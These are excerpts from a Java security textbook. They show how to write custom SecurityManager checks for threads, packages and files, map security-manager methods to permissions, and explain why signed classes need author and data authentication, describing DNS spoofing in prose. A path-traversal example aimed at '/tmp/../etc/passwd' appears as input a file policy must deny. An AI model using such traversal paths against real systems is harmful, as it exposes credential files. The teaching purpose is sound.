Of course, not every class loader has a getThreadGroup() method, so if the class loader we find isn't of the class that we expect, we again have to defer to our superclass to provide the correct thread group (which, by default, is the thread group of the calling thread). Otherwise, we can ask the class loader, which implies that we need to provide a getThreadGroup() method within that class loader:

Class Definition

public class JavaRunnerLoader extends SecureClassLoader {
    private ThreadGroup threadGroup;
    private static int groupNum;
    ...
    ThreadGroup getThreadGroup() {
        if (threadGroup == null)
            threadGroup = new ThreadGroup("JavaRunner ThreadGroup-"
                                    + groupNum++);
        return threadGroup;
    }
}

Now we've achieved the first part of our goal: when the program attempts to create a thread without specifying a thread group that it should belong to, the thread is assigned to the desired group. For the second part of our goal, we need to ensure that the checkAccess() method only allows classes from that class loader to create a thread within that thread group (or one of its descendent thread groups).

In order to achieve this second goal, we must implement the checkAccess() methods as follows:

Class Definition

public void checkAccess(Thread t) {
    ThreadGroup current = Thread.currentThread().getThreadGroup();
    if (!current.parentOf(t.getThreadGroup()))
        super.checkAccess(t);
}
public void checkAccess(ThreadGroup tg) {
    ThreadGroup current = Thread.currentThread().getThreadGroup();
    if (!current.parentOf(tg))
            super.checkAccess(tg);
}

This logic prevents threads in sibling thread groups from manipulating each other, as well as preventing threads in groups that are lower in the thread hierarchy from manipulating threads in their parent groups. Though that makes it more restrictive than the model employed by the 1.1 JDK, it matches the concept of a thread group hierarchy better than the JDK's model.

There are three caveats with this model. The first has to do with the way in which thread groups are created. When you create a thread group without specifying a parent thread group, the new thread group is placed into the thread hierarchy as a child of the thread group of the currently executing thread. For example, in Figure 6-1, when the Calc thread creates a new thread group, by default that thread group is a child of Program Thread Group #1 (e.g., it could be Program Subgroup #1). Hence, if you start a program, you must ensure that it starts by executing it in the thread group that would be returned by its class loader--that is, the default thread group of the program. That's why we included that logic at the beginning of our JavaRunner example.

The second caveat is that threads may not be expecting this type of enforcement of the thread hierarchy, since it does not match many popular browser implementations. Hence, programs may fail under this model, while they may succeed under a different model.

Finally, remember that in 1.2, the stop() method of the Thread class first calls the checkPermission() class of the security manager to see if the current stack has a runtime permission of "stopThread". For backward compatibility, all protection domains have that permission by default, but a particular user may change that in the policy file.

6.3.5. Implementing Package Access

A final area for which the default security manager is sometimes inadequate is the manner in which it checks for package access and definition. In 1.1, the default security manager rejects all package access and definition attempts.

In 1.2, the situation is complex. For package access, the security manager looks for a property defined in the java.security file named package.access. This property is a list of comma-separated package names for which access should be checked. If the class loader uses the checkPackageAccess() method (many do not) and attempts to access a package in the list specified in the java.security file, then the program must have a runtime permission with a name of accessClassInPackage.<packagename>. For defining a class, the operation is similar; the property name in the java.security file is package.definition, and the appropriate runtime permission has a name of defineClassInPackage.<packagename>. This model works well, but it requires that the java.security file and all the java.policy files be coordinated in their attempts to protect package access and definition.

For that reason, and also to provide a better migration between releases (and because it's the only way to do it in 1.1), you may want to include the logic to process some policies within your new security manager. In that way, users will not need to make any changes on their system; in this case, the user will not have to put the appropriate RuntimePermission entries into the java.policy files by hand.

The checkPackageAccess() method is most often used to restrict untrusted classes from directly calling certain packages--e.g., you may not want untrusted classes directly calling the com.xyz.support pacakge of your application. Unfortunately, the only way to do that while relying on the security manager is to rely on the class depth, which we want to avoid.

One solution is to introduce a property for the application that defines packages that the untrusted classes in the application are not allowed to access. HotJava and the appletviewer do this by setting properties of the form:

Class Definition

package.restrict.access.pkgname = true

In the checkPackageAccess() method, you can use the parameter to construct this property (substituting for the pkgname) and see if the corresponding property is set: if it is, and if the inClassLoader() method returns true, you can throw the security exception. For our purposes, however, we will allow classes to access any package, and write our checkPackageAccess() method like this:

Class Definition

public void checkPackageAccess(String pkg) {
}

The checkPackageDefinition() method is somewhat different--you probably don't want untrusted classes defining things in the java package, for example. So we want to test for that package explicitly. But we also want to respect the permissions for the applications, so the general solution for cases such as this is to first check with the access controller (via the security manager's superclass), and then to implement the original logic:

Class Definition

public void checkPackageDefinition(String pkg) {
    if (!pkg.startsWith("java."))
        return;
    try {
        super.checkPackageDefinition(pkg);
        return;
    } catch (AccessControlException ace) {
        // continue
    }
    if (inClassLoader())
        throw new SecurityException("Can't define java classes");
}

Note that the name in the test contains the period separator--you don't want an untrusted class to be able to define a class named java.lang.String, but you do want it to be able to define a class named javatest.myClass. On the other hand, you may or may not want to grant access to classes in the javax package. This method also requires a change to the class loader that we'll show at the end of the chapter.

6.3.6. Establishing a Security Policy in 1.2

We'll now give specific information on how to establish a security policy for 1.2. In Java 1.2, the SecurityManager class is a concrete class--you use it directly, or you may subclass it. The simplest implementation of the SecurityManager class is:

Class Definition

public class JavaRunnerManager extends SecurityManager {
}

The JavaRunnerManager class inherits the default behavior of the SecurityManager class for all its methods--but it's important to realize that this default behavior is not the behavior we discussed in Chapter 4, "The Security Manager Class". The behavior we discussed in that chapter stemmed from the security manager implementations of various popular browsers--that may be the security that is appropriate for your application, but the default behavior for the Security Manager class comes from the java.policy files.

The default behavior of the public methods of the SecurityManager class is to call the access controller with an appropriate permission. For example, the implementation of the checkExit() method is:

Class Definition

public void checkExit(int status) {
    AccessController.checkPermission(new RuntimePermission("exitVM"));
}

This is why the default security policy for the application can be specified via the java.policyfiles. Table 6-3 lists the methods of the security manager and the permission they construct when they call the access controller.

Table 6-3. The Relationship Between the Security Manager and the Access Controller

Method

Permission

Class Definition

checkCreateClassLoader()

Class Definition

RuntimePermission("createClassLoader")

Class Definition

checkAccess(Thread t)

Class Definition

RuntimePermission("modifyThread")

Class Definition

checkAccess(ThreadGroup tg)

Class Definition

RuntimePermission("modifyThreadGroup")

Class Definition

checkExit(int status)

Class Definition

RuntimePermission("exitVM")

Class Definition

checkExec(String cmd)

Class Definition

FilePermission(cmd, "execute")

Class Definition

checkLink(String lib)

Class Definition

RuntimePermission("loadLibrary." + lib)

Class Definition

checkRead(FileDescriptor fd)

Class Definition

RuntimePermission("readFileDescriptor")

Class Definition

checkRead(String file)

Class Definition

FilePermission(file, "read")

Class Definition

checkRead(String file, Object context)

Class Definition

FilePermission(file, "read");

Class Definition

checkWrite(FileDescriptor fd)

Class Definition

RuntimePermission("writeFileDescriptor")

Class Definition

checkWrite(String file)

Class Definition

FilePermission(file, "write")

Class Definition

checkDelete(String file)

Class Definition

FilePermission(file, "delete")

Class Definition

checkConnect(String h, int p)

Class Definition

if port == -1
SocketPermission(h, "resolve")
otherwise
SocketPermission(h + ":" + p, "connect")

Class Definition

checkConnect(String h, int p, Object context)

Class Definition

same as checkConnect()

Class Definition

checkListen(int port)

Class Definition

if port == 0
SocketPermission("localhost:1024-","listen") otherwise
SocketPermission("localhost:" + port, "listen")

Class Definition

checkAccept(String host, int port)

Class Definition

SocketPermission(host + ":" + port, "accept")

Class Definition

checkMulticast() [both signatures]

Class Definition

SocketPermission(maddr.getHostAddress(), "accept,connect")

Class Definition

checkPropertiesAccess()

Class Definition

PropertyPermission("*", "read, write")

Class Definition

checkPropertyAccess(String key)

Class Definition

PropertyPermission(key, "read")

Class Definition

checkTopLevelWindow(Object w)

Class Definition

AWTPermission("showWindowWithoutWarningBanner")

Class Definition

checkPrintJobAccess()

Class Definition

RuntimePermission("queuePrintJob")

Class Definition

checkSystemClipboardAccess()

Class Definition

AWTPermission("accessClipboard");

Class Definition

checkAwtEventQueueAccess()

Class Definition

AWTPermission("accessEventQueue");

Class Definition

checkPackageAccess(String pkg)

Class Definition

RuntimePermission("accessClassInPackage." + pkg)

Class Definition

checkPackageDefinition(String pkg)

Class Definition

RuntimePermission("defineClassInPackage." + pkg)

Class Definition

checkSetFactory()

Class Definition

RuntimePermission("setFactory")

Class Definition

checkMemberAccess(Class c, int which)

Class Definition

RuntimePermission("accessDeclaredMembers")

Class Definition

checkSecurityAccess(String action)

Class Definition

SecurityPermission(action)

Class Definition

checkPermission(Permission p)

p (that is, the permission parameter)

Class Definition

checkPermission(Permission p, Object o)

p (that is, the permission parameter)

There are five slight exceptions to the rules laid out in Table 6-3:

  • The checkAccess() methods only check for the given permission if the target thread (group) is in the system thread group.

  • If the command passed to the checkExec() method is not a fully qualified pathname (that is, if the command will be found by examining the user's PATH variable), the string passed to create the file permission is "<<ALL FILES>>." The domain must have permission to execute all files in the filesystem in this case.

  • The methods that use a context expect the context to be an instance of the AccessControlContext class. They then call the checkPermission() method of that context, using the same permission that would normally be used in that call (e.g., a file permission with a read action for the checkRead() method). As we mentioned, these methods are never called by the core API. If the context is not an access control context, then a SecurityException will be thrown.

  • The checkTopLevelWindow() method catches the AccessControlException if it is thrown by the access controller. In this case, it returns false. This method does not (by default) throw an exception.

  • The checkMemberAccess() method does not call the access controller if the program is inspecting public values (that is, if the which flag is Member.PUBLIC) or if the current class loader is the same class that loaded the target class.

For the most part, it's possible to use the default security manager and the permission mappings we've just identified to support virtually any security policy. But there are certain useful exceptions a security manager will often define:

  • Network permissions may want to follow the implementation outlined above.

  • Package access and definition permissions may follow the implementation outlined above.

  • Exit permissions may be summarily granted to all applications (unless the application is a server that should stick around).

  • Thread permissions may follow the thread hierarchy rather than the default all-or-nothing policy.

For a complete 1.2-based security manager, then, you typically need to override only the methods involved with these four exceptions. The 1.2-based security manager we'll use for our JavaRunner program looks like this:

Class Definition

public class JavaRunnerManager extends SecurityManager {
    public void checkConnect(String host, int port) {
        .. follow implementation given above ..
    }
    public void checkPackageAccess(String pkg) {
        .. follow implementation given above ..
    }
    public void checkPackageDefinition(String pkg) {
        .. follow implementation given above ..
    }
    public void checkExit(int status) {
    }

    public void checkAccess(Thread t) {
        .. follow implementation given above ..
    }
    public void checkAccess(ThreadGroup tg) {
        .. follow implementation given above ..
    }
}

6.3.7. Establishing a 1.1 Security Policy

Establishing a security policy in 1.1 is done only by ensuring that the correct security manager is in place. In this section, we're going to discuss how a 1.1-based security manager can be implemented.

6.3.7.1. The RMI security manager

One of the times a security manager is often used in a Java application is in an RMI server. An RMI server has the capability of loading code from an RMI client located on a remote machine and executing that code on the server--essentially transforming the server (temporarily) into a client.[5] In essence, the security ramifications of using RMI servers are similar to those of an applet, but in reverse: you now want to protect your server machine from the side effects of untrusted code it got from a client.

[5]This used to be called "peer computing," although that term has fallen out of favor. But it's a useful concept: just because one machine has to initiate a request shouldn't mean that the roles of client and server have to be immutable.

In the most common case, you'll want your RMI server to have a simple security model. If the code it's executing was completely loaded from the server, the operation should succeed; if any of the code it's executing was loaded from the client, the operation should fail. Hence, the Java API provides the RMISecurityManager class, which implements just such a policy. In general, the methods of the RMISecurityManager class look like this:

Class Definition

public void checkAccess(Thread t) {
    if (inClassLoader())
        throw new SecurityException("checkAccess");
}

You can check the source code (java.rmi.RMISecurityManager) for exact details; this example is a conflation of code found there.

Hence, in the RMI security manager, all local code is trusted and all remote code is untrusted. There are certain methods of this class that have slightly different implementations, however. Because the RMISecurityManager provides a useful basis for a default implementation of your own security manager, we'll list those exceptions here so you can use the RMISecurityManager class and understand where you're starting out.

public void checkPropertyAccess(String key)

An untrusted class can check properties only if a special property is set. If an untrusted class wants to check the property foo.bar, the property foo.bar.stub must be set to true.

public void checkRead(FileDescriptor fd)
public void checkWrite(FileDescriptor fd)

An untrusted class can read or write a file if that file is a socket. Note that the untrusted class still cannot create the socket.

public void checkConnect(String host, int port)

An untrusted class can connect a socket only if called from certain internal RMI classes. If you're using the RMISecurityManager class as the basis for a non-RMI application, the untrusted class is not able to make any connections.

public void checkTopLevelWindow(Object window)

An untrusted class can create a separate window, but it will have the warning banner.

public void checkPackageAccess(String pkg)

An untrusted class can access a package unless the external properties specifically prohibit such access.

public void checkPackageDefinition(String pkg)

An untrusted class can access a package definition unless the external properties specifically prohibit such access.

public void checkSetFactory()

Neither an untrusted class nor a trusted class can change a socket factory.

public void checkMemberAccess()

An untrusted class can only check the member access for public members.

6.3.7.2. A complete 1.1 security manager

In Java 1.1, the SecurityManager class is abstract, so you can't directly instantiate a security manager object. However, none of the methods of SecurityManager is itself abstract, meaning that the simplest implementation of the SecurityManager class is this:

Class Definition

public class StrictSecurityManager extends SecurityManager {
}

The StrictSecurityManager class inherits the default behavior of the SecurityManager class for all its methods--but once again it's important to realize that this default behavior is not the behavior we discussed earlier in terms of what an untrusted class might or might not be allowed to do. The default behavior of the public methods in the SecurityManager class in 1.1--and hence of the StrictSecurityManager class above--is to deny every operation to every class, trusted or not. Each of the public methods of the SecurityManager class looks similar to this:

Class Definition

public void checkAccess(Thread g) {
    throw new SecurityException ();
}

Thus, if you want to implement your own security manager, you need only override the methods for which you want to provide a more relaxed security policy. If you want to allow (at least some) thread operations, you must override the checkAccess() methods; if you do not override those methods, no thread operations will be allowed by any class.

A Null Security Manager

The default security manager class makes you override each method to create a relaxed security policy for that method, but sometimes it might be easier to start with a null security manager: one that provides a completely wide-open policy for every check. You could then override only those methods for which you wanted to tighten the security policy.

The Java API does not provide such a class, but one is available in source form with the Java API source files--if you copy the SecurityManager.java file from the API source directory and edit it, you'll find a NullSecurityManager class that implements each method with a wide-open security policy. You can edit out everything but this class, make it a public class, and use it for the basis of your customized security manager. This class was removed from the 1.2 source.

In typical usage, a 1.1-based security manager might want to deny a large number of operations if there is any untrusted class on the stack. These methods might be implemented with the checkClassLoader() method we discussed above. Candidates for this type of check are:

Class Definition

checkAccept()

Class Definition

checkMemberAccess()

Class Definition

checkSecurityAccess()

Class Definition

checkAWTEventQueueAccess()

Class Definition

checkMulticast()

Class Definition

checkSystemClipboardAccess()

Class Definition

checkExit()

Class Definition

checkPrintJobAccess()

Class Definition

Class Definition

checkListen()

Class Definition

checkSecurityAccess()

Class Definition

Similarly, there are a number of tests that we want to fail if they
are attempted directly by an untrusted class, but that we want to
succeed if they are attempted indirectly by an untrusted class. For
these tests, we have to rely on the class depth to tell us whether
the call originated from an untrusted class or not; we use the
checkClassDepth() method to help us with
that task. Here are the candidate methods for this test along with
the depth that checked for each method:

Class Definition

checkCreateClassLoader()

2

Class Definition

checkLink()

3

Class Definition

checkDelete()

2

Class Definition

checkPropertiesAccess()

2

Class Definition

checkExec()

2

Class Definition

checkPropertyAccess()

2

Finally, there are some methods we must implement with their own
logic. Although we've saved these for last, they are most
interesting since these are the methods that you'll need to pay
the most attention to when you write your own security
manager.

6.3.7.3. Implementing the file access methods

If you are going to implement a
security manager, you must determine a policy for reading and writing
files and implement it in each of the
checkRead() and
checkWrite() methods. The logic you put into
each method is slightly different.

Allowing File Access

If you want to write a policy that allows some files on the local
machine to be read or written, make sure that you use the
File.getCanonicalPath() method to find out the actual name
of the file before you grant access to that file. If, for example,
you want programs to have access to the /tmp
directory on your machine, you want to make sure that access to
/tmp/../etc/passwd is still denied; the program
must not be allowed to use the parent directory to jump out of the
directory you've allowed. The
getCanonicalPath() method removes all references
to parent directories, as well as following all symbolic links,
shortcuts, and aliases to find out the actual name of the file
that's being referenced.

In the case where these methods take a single string argument, the
logic is straightforward: the program is attempting to open a file
with the given name, and you should either accept or reject that
operation. We'll base our decision on the depth of the class
loader. Untrusted classes may not directly open a file for reading or
writing, but they may cause that to happen through the Java API:

Class Definition

public void checkRead(String file) {
    checkClassDepth(2, "Read the file " + file,
                        "Can't read local files");
}
public void checkWrite(String file) {
    checkClassDepth(2, "Write the file " + file,
                        "Can't write local files");
}

In the case where these methods take a
FileDescriptor as an argument, the policy is a
little harder to define. As far as the Java API is concerned, these
methods are only called as a result of calling the
Socket.getInputStream() or
Socket.getOutputStream() methods--which
means that the security manager is really being asked to determine if
the socket associated with the given file descriptor should be
allowed to be read or written. By this time, the socket has already
been created and has made a valid connection to the remote machine,
and the security manager has had the opportunity to prohibit that
connection at that time.

What type of access, then, would you prohibit when you implement
these methods? It partially depends on the types of checks your
security manager made when the socket was created. We'll assume
for now that a socket created by an untrusted class can only connect
to the site from which the class was loaded, while a socket created
by a trusted class can connect to any site. Hence, you might want to
prohibit an untrusted class from opening the data stream of a socket
created by a trusted class--although if the class is trusted,
you typically want to trust that class's judgement, and if that
class passed the socket reference to an untrusted class, the
untrusted class should be able to read from or write to the socket.

On the other hand, it is important to be sure that these methods are
actually being called from the socket class. An untrusted class could
attempt to pass an arbitrary file descriptor to the
File*Stream constructor, breaking into your
machine.

Typically, then, the only checks you put into this method are to
determine that the FileDescriptor object is
valid and the FileDescriptor object does indeed
belong to the socket class:

Class Definition

public void checkRead(FileDescriptor fd) {
    if (!inClassLoader())
        return;
    if (!fd.valid() || !inClass("java.net.SocketInputStream"))
        throw new SecurityException("Can't read a file descriptor");
}
public void checkWrite(FileDescriptor fd) {
    if (!inClassLoader())
        return;
    if (!fd.valid() || !inClass("java.net.SocketOutputStream"))
        throw new SecurityException("Can't write a file descriptor");
}

6.3.7.4. Implementing network, thread, and package access

A typical
1.1-based security manager would implement thread, network, and
package access as we described above.

6.3.7.5. Implementing miscellaneous methods

There is one more method of the security manager that we must
implement with slightly different rules: the
checkTopLevelWindow()
method. This method uses the standard class depth test for an
untrusted class, but it shouldn't throw an exception, so it
looks like this:

Class Definition

public boolean checkTopLevelWindow(Object window) {
    if (classLoaderDepth() == 3)
        return false;
    return true;
}

Previous | Home | Next
6.2. Security Managers and the Class Loader | Book Index | 6.4. Running Secure Applications

  Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Running Secure Applications (Java Security)

 Java Security Search this book

6.4. Running Secure Applications

In Chapter 1, "Java Application Security" we showed how JavaRunner and the Launcher can be used to run a Java application. Now that we have the final piece of the security policy story, we can put everything together and show how the policy applies to these applications.

6.4.1. The Secure JavaRunner Program

Running a program securely under the auspices of JavaRunner requires that we modify that program to accept a security manager:

Class Definition

public class JavaRunner implements Runnable {
    .. other methods are unchanged ..

    public static void main(String args[])
                                    throws ClassNotFoundException {
        Class self = Class.forName("JavaRunner");
        System.setSecurityManager(new JavaRunnerManager());
        JavaRunnerLoader jrl = new JavaRunnerLoader(
                                    args[0], self.getClassLoader());
        ThreadGroup tg = jrl.getThreadGroup();
        Thread t = new Thread(tg,
                new JavaRunner(jrl, args[1], getArgs(args)));
        t.start();
        try {
            t.join();
        } catch (InterruptedException ie) {
            System.out.println("Thread was interrupted");
        }
    }
}

This single-line change installs a security manager for us; the security manager provides the security policy for the target application. Because our security manager defers most of its checks to the access controller, we must have appropriate java.policy files somewhere (unless, of course, we have installed a different default Policy class). If these policy files are in the default locations ($JAVAHOME/lib/security/java.policy and $HOME/.java.policy), no other steps are necessary. If that file is somewhere else, you must list that file in the java.security file as an alternate policy URL.

Note that we cannot use the -Djava.security.policy command-line argument: the -Djava.security.policy command-line argument installs the Launcher's security manager for us, which prevents our security manager from being installed. On the other hand, we could forego the use of the JavaRunnerManager class altogether and use the same security manager that the Launcher uses by specifying the -Djava.security.policy command-line argument.

In Java 1.2, installing this security manager has other ramifications upon the JavaRunner program. Since the JavaRunner class is loaded from the default URL class loader, it is subject to the permissions of the access controller. As a practical matter, this means that one of the java.policy files must have certain permissions in it that the JavaRunner program needs: it needs to open sockets (to open the URLs from which to retrieve the classes), create a class loader, and so on. The simplest way to achieve this is to put the JavaRunner class and its associated class files (the class loader and security manager it uses) into a single directory and grant all permissions to that directory. If, for example, we put those files into the /home/sdo/JavaRunner directory, we would need to put this entry into a java.policy file:

Class Definition

grant codeBase "file:/home/sdo/JavaRunner" {
    permission java.security.AllPermission;
};

6.4.2. The Secure Java Launcher

In 1.2, when you run a program via the command line, no security manager is installed for you and the program has no sandbox (unless one is installed as we did for the JavaRunner program).

However, when you specify the -Djava.security.policy argument on the command line, a default security manager is installed; the effect of that argument is to install the Launcher's security manager. This security manager in turn initializes the access controller--as we mentioned in Chapter 5, "The Access Controller", the access controller is not initialized until it is first used, and it will not be used until the security manager calls it (unless, of course, your own code calls it). The Launcher's security manager asks the access controller to check for the appropriate permission (that is, the permission that we listed in Table 6-3) with the exceptions that we listed with that table and the additional exception that the checkExit(), checkPackageAccess(), and checkPackageDefinition() methods always succeed.

Remember when you use the Launcher that the security provisions only apply to classes that are loaded from the CLASSPATH and not from the Java API.

Previous | Home | Next
6.3. Implementation Techniques | Book Index | 6.5. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

6.5. Summary

Implementing a security manager is a key step in defining a security policy for your own Java applications; the examples presented in this chapter should help you do that effectively. In Java 1.2, you can specify much of the security policy via an external policy file, although there are still instances where you need to write your own security manager in order to achieve specific (but common) policies. In Java 1.1 and previous releases, you need to write your own security manager that implements the security policy you feel is appropriate. Otherwise, your Java application will have no security policy at all.

If you don't feel comfortable running a third-party Java application without a security manager in place, the examples we've provided in this chapter are also key--they provide the cornerstone of the security features that are built into the JavaRunner program.

On the other hand, if you have a secured network and want to expand the parameters of the Java sandbox without resorting to the use and configuration of signed classes (the topic we'll explore for most of the rest of this book), writing your own security manager is also the way to go. For browsers that support it, you can then substitute the new security manager into them, or you can again use the JavaRunner program or Java's Launcher to run the program.

No matter what path you take, the security manager is the most important aspect of the Java sandbox. The methods of the security manager should help you be able to make the appropriate decisions when you implement your own security policies.

Previous | Home | Next
6.4. Running Secure Applications | Book Index | 7. Introduction to Cryptography
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction to Cryptography (Java Security)

 Java Security Search this book

Chapter 7. Introduction to Cryptography

Contents:

The Need for Authentication
The Role of Authentication
Cryptographic Engines
Summary

So far, we've examined the basic level of Java's security paradigm--essentially, those features that make up the Java sandbox. We're now going to shift gears somewhat and begin our examination of the cryptographic features in the Java security package itself. The Java security package is a set of classes that were added to Java 1.1 (and expanded in 1.2[1]); these classes provide additional layers of security beyond the layers we've examined so far. Although these classes do play a role in the Java sandbox--they are the basis by which Java classes may be signed, and expanding the sandbox based on signed classes is a key goal of Java security--they may play other roles in secure applications.

[1]1.2 is now Java 2.

A digital signature, for example, can authenticate a Java class so that the security policy can allow that class greater latitude in the operations it can perform, but a digital signature is a useful thing in its own right. An HR department may want to use a digital signature to verify requests to change payroll data, an online subscription service might require a digital signature to process a change order, and so on. Thus, while we'll examine the classes of the Java security package from the perspective of what we'll be able to do with a signed class, the techniques we'll show will have broader applicability.

In order to use the classes of the security package, you don't need a deep understanding of cryptographic theory. This chapter will explain the basic concepts of the operations involved, which should be sufficient to understand how to use the APIs involved. On the other hand, one feature of the security package is that different implementations of different algorithms may be provided by third-party vendors. We'll explain how to go about providing such implementations, but it is assumed that readers who are interested in writing such an implementation already understand the mechanics of cryptography. Hence, we won't give any cryptographically valid examples in those sections.

If you already have an understanding of the basics of digital signatures, encryption, and the need for authentication, you can skip this chapter, which provides mainly background information.

7.1. The Need for Authentication

We are primarily concerned with one goal of the security package: the ability to authenticate classes that have been loaded from the network. The components of the Java API that provide authentication may have other uses in other contexts (including within your own Java applications), but their primary goal is to allow a Java application (and a Java-enabled browser) to load a class from the network and be assured of two things:

  • The identity of the site from which the class was loaded can be verified (author authentication).

  • The class was not modified in transit over the network (data authentication).

As we've seen, Java applications typically assume that all classes loaded over the network are untrusted classes, and these untrusted classes are generally given permissions consistent with that assumption. Classes that meet the above two criteria, however, need not necessarily be so constrained. If you walk into your local software store and buy a shrink-wrapped piece of software, you're generally confident that the software will not contain viruses or anything else that's harmful. This is part of the implied contract between a commercial software producer and a commercial software buyer. If you download code from that same software producer's web site, you're probably just as confident that the code you're downloading is not harmful; perhaps it should be given the same access rights as the software you obtained from that company through a more traditional channel.

There's a small irony here, because many computer viruses are spread through commercial software. That's one reason why the fact that a class has been authenticated does not necessarily mean it should be able to access anything on your machine that it wants to. It's also a reason why the fine-grained nature of the access controller is important: if you buy classes from acme.com, but only give them access to certain things on your machine, you are still somewhat protected if by mistake acme.com includes a virus in their software.

Even if all commercial software were virus free, however, there is a problem with assuming that code downloaded from a commercial site is safe to run on your machine. The problem with that assumption--and the reason that Java by default does not allow that assumption to be made--has to do with the way in which the code you execute makes its way through the Internet. If you load some code from www.xyz.com onto your machine, that code will pass through many machines that are responsible for routing the code between your site and XYZ's site. Typically, we like to think that the data that passes between our desktop and www.xyz.com enters some large network cloud; it's called a cloud because it contains a lot of details, and the details aren't usually important to us. In this case, however, the details are important. We're very interested to know that the data between our desktop and xyz.com passes through, for example, our Internet service provider, two other sites on the Internet backbone, and XYZ's Internet service provider. Such a transmission is shown in Figure 7-1. The two types of authentication that we mentioned above provide the necessary assurance that the data passing through all these sites is not compromised.

Figure 7-1. How data travels through a network

7.1.1. Author Authentication

First we must prove that the author of the data is who we expect it to be. When you send data that is destined for www.xyz.com, that data is forwarded to site2, who is supposed to forward it to site1, who should simply forward it to XYZ's Internet service provider. You trust site1 to forward the data to XYZ's Internet service provider unchanged; however, there's nothing that causes site1 to fulfill its part of this contract. A hacker at site1 could arrange for all the data destined for www.xyz.com to be sent to the hacker's own machine, and the hacker could send back data through site2 that looked as if it originated from www.xyz.com. The hacker is now successfully impersonating the www.xyz.com site. Hence, although the URL in your browser says www.xyz.com, you've been fooled: you're actually receiving whatever data the impersonator of XYZ Corporation wants to send to you.

There are a number of ways to achieve this masquerade, the most well-known of which is DNS (or IP) spoofing. When you want to surf to www.xyz.com, your desktop asks your DNS server (which is typically your Internet service provider) for the IP address of www.xyz.com and you then send off the request to whatever address you receive. If your Internet service provider knows the IP address of www.xyz.com, it tells your desktop what the correct address is; otherwise, it has to ask another DNS server (e.g., site1) for the correct IP address. If a hacker has control of a machine anywhere along the chain of DNS servers, it is relatively simple for that hacker to send out his own address in response to a DNS request for www.xyz.com.

Now say that you surf to www.xyz.com and request a Java class (or set of classes) to run a spellchecker for your Java-based word processor. The request you send to www.xyz.com will be misaddressed by your machine--your machine will erroneously send the request to the hacker's machine, since that's the IP address your machine has associated with www.xyz.com. Now the hacker is able to send you back a Java class. If that Java class is suddenly trusted (because, after all, it allegedly came from a commercial site), it has access that you wouldn't necessarily approve: perhaps while it's spellchecking your document, it is also searching your hard disk to find the data file of your financial planning software so that it can read that file and send its contents back over the network to the hacker's machine.

Yes, we've made this sound easier than it is--the hacker would have to have intimate knowledge of the xyz.com site to send you back the classes you requested, and those classes would have to have the expected interface in order for any of their code to be executed. But such situations are not difficult to set up either; if the hackers stole the original class files from www.xyz.com--which is usually extremely easy--all they need to do is set themselves up at the right place in the DNS chain.

In the strict Java security model we explored earlier, this sort of situation is possible, but it isn't dangerous. Because the classes loaded from the network are never trusted at all, the class that was substituted by the hackers is not able to damage anything on your machine. At worst, the substituted class does not behave as you expect and may in fact do something quite annoying--like play loud music on your machine instead of spellchecking your document. But the class is not able to do anything dangerous, simply because all classes from the network are untrusted.

In order to trust a class that is loaded from the network, then, we must have some way to verify that the class actually came from the site it said it came from. This authentication comes from a digital signature that comes with the class data--an electronic verification that the class did indeed come from www.xyz.com.

7.1.2. Data Authentication

The second problem introduced by the fact that our transmissions to www.xyz.com must pass through several hosts is the possibility of snooping. In this scenario, assume that site2 on the network is under control of a hacker. When you send data to www.xyz.com, the data passes through the machine on site2, where the hacker can modify it; when data is sent back to you, it travels the same path, which means that the hacker on site2 can again modify the data.

This lack of privacy in data transmission is one reason you might want data over the network to be encrypted--certainly if the spellchecking software you're using from www.xyz.com is something you must pay for, you don't want to send your unencrypted credit card through the network so that site2 can read it. However, for authentication purposes, encrypting the data is not strictly necessary. All that is necessary is some sort of assurance that the data that has passed through the network has not been modified in transit. This can be achieved by various cryptographic algorithms even though the data itself is not encrypted. The simpler path is to use such a cryptographic algorithm (known as a message digest algorithm or a digital fingerprint) instead of encrypting the data.

Encryption Versus Data Authentication

When you send data through a public network, you can use a digital fingerprint of that data to ensure that the data was not modified while it was in transit over the network. This fingerprint is sufficient to prevent a snooper from substituting new data (e.g., a new Java class file) for the original data in your transmission.

However, this authentication does not prevent a snooper from reading the data in your transmission; authenticated data is not encrypted data. If you are worried about someone stealing your data, the security provided by data authentication is insufficient. Data authentication prevents writing of data, but not reading of data.

Java only provides authentication and not encryption because of export laws various countries apply to encryption technology. When we discuss the Java Cryptography Extension in Chapter 13, "Encryption", we'll expand upon these restrictions.

Without some cryptographic mechanism in place, the hacker at site2 has the option of modifying the classes that are sent from www.xyz.com. When the classes are read by the machine at site2, the hacker could modify them in memory before they are sent back onto the network to be read by site1 (and ultimately to be read by your machine). Hence, the classes that are sent need to have a digital fingerprint associated with them. As it turns out, the digital fingerprint is required to sign the class as well.

7.1.3. Java's Role in Authentication

When Java was first released and touted as being "secure," it surprised many people to discover that the types of attacks we've just discussed were still possible. As we've said, security means many things to many people, but a reasonable argument could be made that the scenarios we've just outlined should not be possible in a secure environment.

The reasons Java did not solve these problems in its first release are varied, but they essentially boil down to one practical reason and one philosophical reason.

The practical reason is that all the solutions we're about to explore depend to a high degree on technologies that are just beginning to become viable. As a practical matter, authentication relies on everyone having public keys available--and as we'll discuss in Chapter 11, "Key Management", that's not necessarily the case. Without a robust mechanism to share public keys, Java had two options:

  • Provide no security at all, and allow applets full use of the resources of the user's computer. By now, we know all the possible problems with that route.

  • Provide the very strict security that was implemented in 1.0-based versions of Java, with a view toward ways of enhancing that model as technologies evolved. While not the best of all possible worlds, this compromise allowed Java to be adopted much sooner than it would otherwise have been.

On a philosophical level, however, there's another argument: Java shouldn't solve these problems because they are not confined to Java itself. Even if Java classes were always authenticated, that would not prevent the types of attacks we've outlined here from affecting non-Java-related transmissions. If you surf to www.xyz.com and that site is subject to DNS spoofing, you'll be served whatever pages the spoofer wants to substitute. If you engage in a standard non-Java, forms-based transmission with www.xyz.com, a snooper along the way can steal and modify the data you're sending over the standard HTTP transmission mechanism.

In other words, the attacks we've just outlined are inherent in the design of a public network, and they affect all traffic equally--email traffic, web traffic, ftp traffic, Java traffic, and so on. In a perfect world, solving these problems at the Java level is inefficient, as it means that the same problem must still be solved for all the other traffic on the public network. Solving the problem at the network level, on the other hand, solves the problem once and for all, so that every protocol and every type of traffic are protected.

